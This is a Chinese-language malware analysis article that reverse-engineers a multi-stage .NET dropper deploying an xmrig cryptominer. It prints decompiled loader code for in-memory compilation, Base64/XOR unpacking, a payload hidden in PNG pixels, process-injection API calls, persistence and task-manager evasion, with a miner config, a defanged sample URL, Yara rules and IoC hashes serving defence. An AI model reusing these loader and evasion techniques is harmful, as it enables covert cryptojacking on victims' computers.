抽丝剥茧:挖矿恶意软件Xmrig一个复杂样本的逆向分析全过程

前言

在几周前,我发现了一个恶意软件样本,并且非常有兴趣对其进行进一步分析。该恶意挖矿软件采取了一种奇特的部署方式,会在主机上创建一个挖矿程序,并将其隐藏在一些合法进程的背后。
在样本运行后,我们使用Process Hacker进程查看工具查看,发现两个奇怪的现象:
1、Visual Basic编译器无故启动;
2、一个奇怪的子进程“Notepad.exe”消耗了大量的CPU。

在观察到异常之后,我非常想知道这两个奇怪进程的背后发生了什么。

第一阶段:编译后并注入在可执行文件中的DLL

本文进行分析的样本,来源地址为:

hxxp[:]//netload[.=trade/ghghdshch130.exe

这是一个.NET应用程序,我们从这个入口点来开始分析:

static void StatusBarPanelCollection(string[] args) {
    ToolStripItemEventArgs.ExprVisitorBase().EntryPoint.Invoke(null, null);
}

应用程序启动后,调用的第一个Assembly方法是ExprVisitorBase()。

public static Assembly ExprVisitorBase() {
  CSharpCodeProvider csharpCodeProvider = new CSharpCodeProvider();
  CompilerResults compilerResults = csharpCodeProvider.CompileAssemblyFromSource(new CompilerParameters
    {
      IncludeDebugInformation = true,
      GenerateExecutable = false,
      GenerateInMemory = true,
      IncludeDebugInformation = true,
      ReferencedAssemblies = 
        {
          string.Format(.POasdIsd("U3lzdGVtLkRyYXdpbmcuZGxs"), new object[0])
        },
        CompilerOptions = string.Format(.POasdIsd("L29wdGltaXplKyAvcGxhdGZvcm06WDg2IC9kZWJ1ZysgL3RhcmdldDp3aW5leGU="), new object[0])
    }, new string[]
    {
      ToolStripItemEventArgs.SizeSoapParameterAttribute.Replace(string.Format(.POasdIsd("I3Jlc25hbWUj"), new object[0]), 
      .POasdIsd("ekp5blhVaktUbFpw")).Replace(string.Format(.POasdIsd("I3Bhc3Mj"), new object[0]), .POasdIsd("VVVlb0NvaXBHdVZj"))
    });
  return compilerResults.CompiledAssembly;
}

这个程序将以编程方式对一些代码进行编译。事实上,在.NET中可以通过可以通过CSharpCodeProvider类访问C#编译器。对CompileAssemblyFromSource的调用是程序集被编译的地方。该方法包含了参数对象(CompilerParameters)和源代码,其类型是一个字符串。
首先,如果我们深入研究CompilerParameters对象,会从配置中发现新程序是一个DLL文件,并且在磁盘上不会有任何痕迹。该DLL文件需要有特殊的引用才能工作,其字符串被混淆,需要以“POasdIsd”来解码。

internal class 
{
     public static string POasdIsd(string string_0)
    {
        byte[] bytes = Convert.FromBase64String(string_0);
        return Encoding.UTF8.GetString(bytes);
    }
}

我们非常容易理解,“POasdIsd”只是一个Base64解码函数,而我们编码的字符串实际上就是“System.Drawing.dll”。所以也就意味着,这个引用是编译源代码所必须的。
如果我们继续分析,它会设置一些编译器参数。在解码后,将会在x86平台的调试模式下进行编译:

/optimize+ /platform:X86 /debug+ /target:winexe

所以现在,我们唯一需要的是源代码,它存储在变量SizeSoapParameterAttribute中。当然,这个变量也被Base64编码混淆,并且使用XOR密钥(5)进行加密。

public static string SizeSoapParameterAttribute = 
    ToolStripItemEventArgs.ASSEMBLY_FLAGS(
        .POasdIsd("cHZsa2IlVnx2c ... D4ID3gPeCUID3g="), 5
);

如果我们在调试器上设置一些断点,就可以以步进的方式,看到生成的C#源代码。

在上述工作完成后,编译过程就完成了。我们可以使用Process Monitor来查看进程的详细信息。

第二阶段:隐藏在图像背后、注入Payload的可执行文件

在这个阶段中,DLL被编译并加载到内存中。我们现在无需对其进行提取和反编译,因为我们已经有了它的代码。如果我们对代码进行深入分析,文件中包含着许多冗长混乱、难以理解的代码,但其中主要的类很容易找到。

当我们重命名一些函数时,理解这个库的目标就更为容易了。

private static string xorKey = "UUeoCoipGuVc";
private static byte[] Payload;

...

private static void Main()
{
  try
  {
    IntPtr hResInfo = Program.FindResource(new IntPtr(0), new IntPtr(138), new IntPtr(23));
    uint size = Program.SizeofResource(new IntPtr(0), hResInfo);
    IntPtr hResData = Program.LoadResource(new IntPtr(0), hResInfo);
    IntPtr source = Program.LockResource(hResData);
    Program.Payload = new byte[size];
    Marshal.Copy(source, Program.Payload, 0, Convert.ToInt32(num));
    Program.Payload = Program.XOR(Program.ConvertFromBmp(Program.Byte2Image(Program.Payload)));
    Thread thread = new Thread(new ThreadStart(Program.AssemblyLoader));
    thread.Start();
  }
  catch
  {
  }
}

所以,当其被加载到内存中,它会请求主程序的HTML资源(IntPtr(23)是RT_HTML)。所以,如果我们在DNspy上调试这个DLL,它将会崩溃,原因在于会定位到一个不存在的资源。所以,让我们回到ghghdshch130.exe之中,并检查其中的.rsrc。我们目前得到了一个名为138的文件,138是资源ID。

我们对该文件进行分析,发现这是一个PNG文件,其大小为461*461像素,8位RGBA颜色,使用非隔行扫描。

接下来,我们使用上述的代码,将这个图像转换成一个字节数组,然后再转换成一个图像(位图格式)。在这里,能够使用ConvertFromBmp是这个DLL文件最重要的功能。我们的目标是使用BlockCopy,将Payload的不同部分正确地重组到内存中。因此,它每次会将4个字节大小的缓冲区中的内容,逐像素地复制到正确的目标偏移量之上。
我需要首先理清代码,随后才能够清楚地理解这些步骤。

private static byte[] ConvertFromBmp(Bitmap imageFile) { 
 int width = imageFile.Width; 
 int correctSize = width * width * 4; 
 byte[] correctOffset = new byte[correctSize]; 
 int size = 0; 
 for (int x = 0; x < width; x++) { 
   for (int y = 0; y < width; y++) { 
     Buffer.BlockCopy(BitConverter.GetBytes(imageFile.GetPixel(x, y).ToArgb()), 0, correctOffset, size, 4); 
     size += 4; 
   } 
 }

 int finalSize = BitConverter.ToInt32(array, 0); 
 byte[] XorPayload = new byte[finalSize]; 
 Buffer.BlockCopy(correctOffset, 4, XorPayload, 0, XorPayload.Length); 

 return XorPayload; 
}

现在,我们的Payload几乎已经完成了,它只是使用特定的XOR密钥来实现解密,在我们的样本中,其值为“UUeoCoipGuVc”。

internal class Program
{
private static byte[] XOR(byte[] bytes)
{
  byte[] bytes2 = Encoding.Unicode.GetBytes(Program.XorString);
  for (int i = 0; i < bytes.Length; i++)
  {
  int num = i;
  bytes[num] ^= bytes2[i % 16];
  }
  return bytes;
}

当Payload被最终创建时,程序集对象会被加载到一个线程中。

Thread thread = new Thread(new ThreadStart(Program.AssemblyLoader)); 
thread.Start();

第三阶段:复制第一阶段文件并注入资源

如果我们认为现在已经大功告成,那么显然是错误的。我们再次遇到了加壳和模糊处理。

先暂时不用分析复杂的代码,我们首先注意到资源文件夹中现在有三个文件。

其中的两个文件是XOR加密后的有效载荷,另一个是经过Base64编码后的文本文件字符串。我们试图查看经过混淆的代码,以理解文本文件的作用。实际上,它是一个Manifest资源流(Manifest Resource Stream),是在编译时嵌入在程序集之中的内容。我们编写了一段Python代码,用于查看解码后的内容:

=> python3 manifest.py 
...
'RSRCNAME'
'RSRCPWD'
'Dotwall Evaluation'

最后一行非常有趣,因为它揭示了在这一阶段中实际上已经包含了Dotwall,Dotwall是一个.NET混淆器,目前还暂时没有公开发布。
那么,在这个阶段它的目标究竟是什么呢?
首先,它会复制主用户目录中的第一阶段文件,并将新目录保存到内存中,以备将来使用。然后,删除此文件的可选数据流名称Zone.Identifier,以便不让系统察觉到这个恶意软件是从外部网络下载的。
随后,它在Windows启动菜单中,创建一个名为“rTErod.url”的快捷方式文件,指向一个互联网链接,这也就解释了之前为什么要删除Zone.Identifier。

[InternetShortcut]
URL=file:///C:/Users/user/bsdsjdpjcqdpcdq.exe

然后,它会搜索主机上是否存在Visual Basic编译器,并向其中注入资源“rWyMgsOzOKRu”。为了简化程序解密这个文件的过程、不同类之间的全部交互和数百行的代码,我们可以用10行C#源代码进行归纳。

byte[] buffer = File.ReadAllBytes("xplACLWqdLvY"); // Xor Key 
byte[] bytes = Encoding.Unicode.GetBytes("rWyMgsOzOKRu"); // Encrypted Payload

for (int i = 0; i < buffer.Length; i++) {
    buffer[i] ^= bytes[i % 16];
}

using (var decrypted = new FileStream("decrypted_resource.exe", FileMode.Create, FileAccess.Write)) {
 decrypted.Write(bytes, 0, byteArray.Length);
}

其中的程序集名称为“adderalldll”,我们推断与Adderall Protector有关。



经过一些清理后,我们发现该工具通过使用一些反射(Reflection)来实现调用。新的Object类(Adderall)的run()方法在条目中添加了一些其他参数:
@”C:WindowsMicrosoft.NETFrameworkv2.0.50727vbc.exe”
“”
DecryptPayload(cryptedResource) // <= Our Final Unpacked Malware
true

Type Adderall_resource = exportedTypes[pos];
object Adderall = Activator.CreateInstance(Adderall_resource);
vbcPath = @"C:WindowsMicrosoft.NETFrameworkv2.0.50727vbc.exe";

Adderall_resource.InvokeMember("run", BindingFlags.InvokeMethod, null, Adderall, new object[] {
 vbcPath, 
 "",      
 DecryptPayload(cryptedResource), 
 true 
});

第四阶段:进程注入、部署恶意软件

那么,我们接下来具体分析一下adderall.dll。在该文件中,使用了Dotwall混淆,但看起来似乎没有嵌入的Payload资源,里面只是Manifest流文件。这就意味着,我们已经非常接近最终的挖矿恶意软件了!

接下来,我们看看解码后的Manifest里面究竟有些什么:

=> python3 manifest.py 
...
'kernel32'
'CreateProcessA'
'kernel32'
'GetThreadContext'
'kernel32'
'Wow64GetThreadContext'
'kernel32'
'SetThreadContext'
'kernel32'
'Wow64SetThreadContext'
'kernel32'
'ReadProcessMemory'
'kernel32'
'WriteProcessMemory'
'ntdll'
'NtUnmapViewOfSection'
'kernel32'
'VirtualAllocEx'
'kernel32'
'ResumeThread'
...
'Dotwall Evaluation'

最后,我们发现,这一阶段的目标是执行一些进程注入,并且进程vbc.exe将部署恶意软件。

第五阶段:生成特定配置文件、持久化

到了现在,我们分析的挖矿恶意程序终于被部署了,接下来就是对它进行分析。在这里,我们的第一个发现,就是该恶意程序是采用C/C++开发的。
恶意软件通过IsWow64Process来判断它的运行环境,是在32位还是64位的系统上运行,从而决定它会在哪里进行进程注入:
如果是32位环境,将在wuapp.exe进行注入;
如果是64位环境,将在notepad.exe进行注入。

如下所示,这个样本会在Winrar.exe后面注入notepad.exe,其中Winrar.exe是explorer.exe的一个子进程。

根据命令行来看,似乎在这里有一个xmrig挖矿恶意软件在运行。如果我们直接查看帮助中显示的内容,它们是相同的。

  -a, --algo=ALGO          cryptonight (default) or cryptonight-lite
  -o, --url=URL            URL of mining server
  -O, --userpass=U:P       username:password pair for mining server
  -u, --user=USERNAME      username for mining server
  -p, --pass=PASSWORD      password for mining server
  -t, --threads=N          number of miner threads
...
  -c, --config=FILE        load a JSON-format configuration file
...

为了确认它是否是这个特定的挖矿恶意软件,我们需要转存基地址0x400000伤的内存:

我们发现,其PE头部被删除,并且采用了UPX的方式进行压缩。

经过迅速查找,我们确认了它就是xmrig挖矿软件。

恶意挖矿软件的配置

该恶意软件,会针对被感染主机生成特定的xmrig配置文件。首先,恶意软件会配置好矿工池和用户账户。

随后,生成典型的xmrig配置文件,并将其保存到“cfg”和“cfgi”两个文件中。

在我们的样本中,输出配置文件如下:

{{ "algo": "cryptonight", "background": false, "colors": true, "retries": 5, "retry-pause": 5, "syslog": false, "print-time": 60, "av": 0, "safe": false, "cpu-priority": null, "cpu-affinity": null, "threads": 1, "pools": [ { "url": "xmr.pool.minergate.com:45560", "user": "[email protected]", "pass": "x", "keepalive": false, "nicehash": false } ], "api": { "port": 0, "access-token": null, "worker-id": null }}

持久化

在这一过程中,还采取了措施保证恶意软件的持久性,它创建了一个注册表项,并且会定期检查此项是否仍然存在。

与注册表相链接的可执行文件与矿工配置文件位于同一个文件夹中,并且该可执行文件是一个合法的vbc.exe进程。

隐藏方法

恶意软件会检查任务管理器是否启动。

如果发现启动,它将判断挖矿程序是否正在执行,如果正在执行,就会关闭notepad.exe进程。此后,只要taskmgr仍然保持启动状态,挖矿程序就不会再次启动。

总结

1、我们得到了一个编译后并已经注入了一个DLL的可执行文件;
2、这个DLL文件会部署另一个可执行文件,该可执行文件隐藏在假PNG文件背后,同样已经注入了第一个Payload;
3、在这个程序中,名为Adderall的DLL被调用,从而允许在RunPE的帮助下将脱壳后的恶意软件部署到Visual Basic编译器中;
4、最后得到的恶意软件将会进行矿工相关的配置,并将xmrig注入到notepad.exe或wuapp.exe之中(取决于操作系统是32位还是64位)。

Yara规则

Xmrig挖矿恶意软件:

rule XmrigMinerMalware {
    meta:
        description = "Xmrig Miner Malware"
        author = "Fumik0_"
        date = "2018/05/13"
    strings:
        $mz = "MZ"

        $s1 = "\cfg" wide ascii
        $s2 = "\cfgi" wide ascii
        $s3 = "\notepad.exe" wide ascii
        $s4 = "\wuapp.exe" wide ascii
        $s5 = "--show-window" wide ascii
        $s6 = "taskmgr.exe" wide ascii
        $s7 = "Miner" wide ascii
    condition:
        $mz at 0 and all of ($s*) 
}

Adderall Protector:

rule Adderall {
    meta:
        description = "Adderall Protector"
        author = "Fumik0_"
        date = "2018/05/13"
    strings:
        $mz = "MZ"

        $n1 = "#Blob" wide ascii
        $n2 = "#GUID" wide ascii
        $n3 = "#Strings" wide ascii

        $s1 = "adderalldll" wide ascii
    condition:
        $mz at 0 and (all of ($n*) and $s1)
}

Dotwall Obfuscator:

rule DotWall {
    meta:
        description = "Dotwall Obfuscator"
        author = "Fumik0_"
        date = "2018/05/13"
    strings:
        $mz = "MZ"

        $n1 = "#Blob" wide ascii
        $n2 = "#GUID" wide ascii
        $n3 = "#Strings" wide ascii

        $s1 = "RG90d2Fsb" wide ascii
    condition:
        $mz at 0 and (
            all of ($n*) and $s1
        )
}

IoC

[email protected] _
517AC5506A5488A1193686F66CB57AD3288C2258C510004EDB2F361B674526CC
AA28AA381B935EB98A6B3DEC4C86E1570EF142B041DB4255445C52A81F57A02F
40F5D5BBC054BA193B3D46BA1AE113AC9C9FCAFDDEC52CF02F82C4A22BF9F15F
0C5FC323873FBE693C1FF860282F035AD447050F8EC37FF2E662D087A949DFC9
7C23DA75BA54998363C4E278488F05588FB4E7D8201CCDAA870DD93F0328B911
BECDCC441E29D518D2258F0718000EBD0848ADB4CEFA00223F386A91FDB11677

总结

这个挖矿恶意软件非常复杂,并且综合使用了各种技术。对该挖矿恶意软件进行分析的过程,是一段非常有挑战性的美好(且头痛)的时光,并且我们充分体会到了逐步突破后的喜悦之感。希望这一连续的分析过程能对大家有所帮助。


为您推荐了相关的技术文章:

  1. unserialize() 实战之 vBulletin 5.x.x 远程代码执行
  2. Kaggle初探--房价预测案例之数据分析
  3. 一篇文章走进Mac逆向的世界
  4. S2-017重现过程
  5. 通过Netflow进行攻击AS溯源

原文链接: www.anquanke.com